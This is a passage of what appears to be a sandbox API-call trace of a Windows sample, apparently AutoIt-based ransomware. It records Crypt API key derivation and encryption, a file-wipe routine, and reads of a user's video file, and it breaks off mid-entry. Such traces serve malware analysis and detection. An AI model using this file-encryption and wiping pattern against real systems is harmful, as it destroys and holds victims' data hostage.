0 [0029.846] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.846] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4325, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4330) returned 1 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] CharLowerBuffW (in: lpsz="byte[17201]", cchLength=0xb | out: lpsz="byte[17201]") returned 0xb [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.846] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.846] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4382690*, pdwDataLen=0xe8f3dfdf68*=0x4325, dwBufLen=0x4330 | out: pbData=0xe8f4382690*, pdwDataLen=0xe8f3dfdf68*=0x4330) returned 1 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.846] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.847] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.847] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.847] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.848] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.848] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.848] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.848] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.848] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.848] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.848] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.848] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.849] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.849] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.849] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.849] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.849] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.850] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0xe8f417ae20, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0029.850] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptReleaseContext") returned 0x7ffe2a59e83c [0029.850] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.850] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.850] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.850] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.850] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.850] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.851] CloseHandle (hObject=0x1fc) returned 1 [0029.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.852] CloseHandle (hObject=0x188) returned 1 [0029.852] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.853] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.853] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.854] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\kas6yPPAu5q.mp4" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\zz1u79slm s\\kas6yppau5q.mp4")) returned 0x20 [0029.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.854] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\kas6yPPAu5q.mp4", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069e30 [0029.854] FindClose (in: hFindFile=0xe8f4069e30 | out: hFindFile=0xe8f4069e30) returned 1 [0029.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.854] CharLowerBuffW (in: lpsz="byte[17189]", cchLength=0xb | out: lpsz="byte[17189]") returned 0xb [0029.854] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.854] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.855] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.855] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.855] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.855] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.856] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.856] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.856] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=12058) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.857] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2f1a, lpOverlapped=0x0) returned 1 [0029.857] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x2f1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.857] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=12058) returned 1 [0029.857] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.857] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.857] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.857] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.857] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.857] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.858] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.858] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0029.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.858] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.858] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.858] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b870, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.858] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062790) returned 1 [0029.858] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.858] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.858] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.859] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.860] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.860] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.861] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x6afe, lpOverlapped=0x0) returned 1 [0029.861] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.865] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.865] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.865] CryptGetKeyParam (in: hKey=0xe8f4062790, dwParam=0x7, pbData=0xe8f4064a60, pdwDataLen=0xe8f3dfd858, 